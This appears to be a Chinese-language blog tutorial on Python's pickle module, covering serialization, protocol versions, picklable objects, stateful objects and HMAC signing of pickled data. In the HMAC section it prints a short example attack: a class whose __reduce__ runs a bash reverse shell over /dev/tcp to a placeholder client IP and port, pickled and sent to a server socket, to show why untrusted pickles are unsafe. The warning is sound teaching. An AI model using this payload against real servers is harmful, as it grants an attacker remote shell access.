Python序列化——pickle

簡介

當重複讀取對象時,當構建一次對象耗時太長時,或需要進行網絡傳輸時,意味着需要進行序列化

對一個Python對象進行二進制序列化使用pickle模塊,序列化後數據不可直觀閱讀


警告:
pickle模塊不安全,應該只對信任的數據進行unpickle操作,請考慮使用 hmac 對數據進行簽名,確保數據沒有被篡改。
在你處理不信任數據時,更安全的序列化格式如 json 更適合。




如無必要,用JSON序列化數據更快更方便,詳細查閱Don’t Pickle Your Data

  • pickle很慢
  • pickle不安全




初試

pickle.dump():二進制序列化

pickle.load():讀取

import pickle

message = {'name': 'XerCis', 'age': 23, 'personality': 'awesome'}
filepath = 'test.pkl'
with open(filepath, mode='wb') as f:
    pickle.dump(message, f, pickle.HIGHEST_PROTOCOL)  # 二進制序列化,最高版本數據流格式
with open(filepath, mode='rb') as f:
    print(pickle.load(f))  # 讀取
    # {'name': 'XerCis', 'age': 23, 'personality': 'awesome'}

test.pkl 長這樣
在這裏插入圖片描述

pickle.dumps():二進制序列化爲bytes

pickle.loads():讀取bytes

import pickle

message = {'name': 'XerCis', 'age': 23, 'personality': 'awesome'}
new_message = pickle.loads(pickle.dumps(message))  # 直接序列化爲bytes
print(new_message)




數據流格式

傳入參數protocol,默認爲3,可爲0、1、2、3、4

常量pickle.HIGHEST_PROTOCOL爲本Python最高版本數據流格式

版本 特點 備註
v0 人類可讀,向後兼容
v1 二進制,向後兼容
v2 Python 2.3 引入,存儲 new-style class 更高效 PEP 307
v3 Python 3.0 引入,顯式支持 bytes 字節對象,爲 Python 3.0-3.7 默認協議 Python 2 不能讀取
v4 Python 3.4 引入,更大對象,更多種類,數據優化,爲 Python 3.8 默認協議 PEP 3154
v5 Python 3.8 引入,支持帶外數據,加速帶內數據處理 PEP 574

v0 版協議:
在這裏插入圖片描述




能保存的對象

  • NoneTrueFalse
  • 整數、浮點數、複數
  • str、byte、bytearray
  • 只包含可封存對象的集合,包括 tuple、list、set 和 dict
  • 定義在模塊最外層的函數(使用 def 定義而非lambda 函數)
  • 定義在模塊最外層的內置函數
  • 定義在模塊最外層的類
  • 某些類實例,這些類的 __dict__ 屬性值或 __getstate__() 函數的返回值可以保存




實例

處理有狀態的對象需要實現__getstate__()__setstate__()方法

test.txt

劉一
陳二
張三
李四
王五
趙六
孫七
周八
吳九
鄭十

帶狀態的文本讀取器

import pickle


class TextReader:
    '''帶狀態的文本讀取器'''

    def __init__(self, filename):
        self.filename = filename  # 文件名
        self.file = open(filename, encoding='utf-8')
        self.lineno = 0  # 讀到第幾行

    def readline(self):
        self.lineno += 1
        line = self.file.readline()
        if not line:
            return None
        if line.endswith('\n'):
            line = line[:-1]
        return "%i: %s" % (self.lineno, line)

    def __getstate__(self):
        state = self.__dict__.copy()  # 複製當前狀態
        del state['file']  # 刪除不能序列化的內容
        return state

    def __setstate__(self, state):
        self.__dict__.update(state)  # 恢復狀態
        self.file = open(self.filename, encoding='utf-8')
        for _ in range(self.lineno):
            self.file.readline()


if __name__ == '__main__':
    reader = TextReader("test.txt")
    print(reader.readline())
    print(reader.readline())

    filepath = 'reader.pkl'
    with open(filepath, mode='wb') as f:
        pickle.dump(reader, f, pickle.HIGHEST_PROTOCOL)
    with open(filepath, mode='rb') as f:
        new_reader = pickle.load(f)  # 讀取

    print(new_reader.readline())




持久化外部對象

在 pickler 中實現 persistent_id() 方法,參數爲被保存對象,返回 None 或 被保存對象的持久化ID

註解:序列化是一種比持久化更底層的概念

詳細查閱持久化外部對象




hmac簽名

如果客戶端不受信任,攻擊者可以獲取服務器訪問權限

pickle最佳實踐,查閱 Python pickling: What it is and how to use it securely

class Shell_code(object):
  def __reduce__(self):
          return (os.system,('/bin/bash -i >& /dev/tcp/"Client IP"/"Listening PORT" 0>&1',))
shell = cPickle.dumps(Shell_code())
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('Server IP','Server PORT'))
client_socket.send(shell)

對序列化後的數據進行簽名

import hmac
import pickle
import hashlib

message = {'name': 'XerCis', 'age': 23, 'personality': 'awesome'}
data = pickle.dumps(message)
digest = hmac.new(bytes('shared-key', encoding='utf-8'), data, hashlib.sha1).hexdigest()

# 同時發送簽名和序列化數據
rec_digest = digest
rec_data = data  # 假設收到序列化數據
new_digest = hmac.new(bytes('shared-key', encoding='utf-8'), rec_data, hashlib.sha1).hexdigest()
print(new_digest)
print(rec_digest)
if new_digest == rec_digest:
    print(pickle.loads(rec_data))
else:
    print('Integrity check failed')
# 2d8fa8e0f9b36cfe616e03e4e6b0e403b01fc6e1
# 2d8fa8e0f9b36cfe616e03e4e6b0e403b01fc6e1
# {'name': 'XerCis', 'age': 23, 'personality': 'awesome'}




可視化

PickleViewer下載地址,個人感覺功能挺雞肋的
在這裏插入圖片描述




參考文獻

  1. Data Serialization — The Hitchhiker’s Guide to Python
  2. pickle
  3. hmac
  4. 數據流格式
  5. Matix-Media/PickleViewer: A simple tool to create and read pickle files.
  6. Don’t Pickle Your Data
  7. Python pickling: What it is and how to use it securely
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章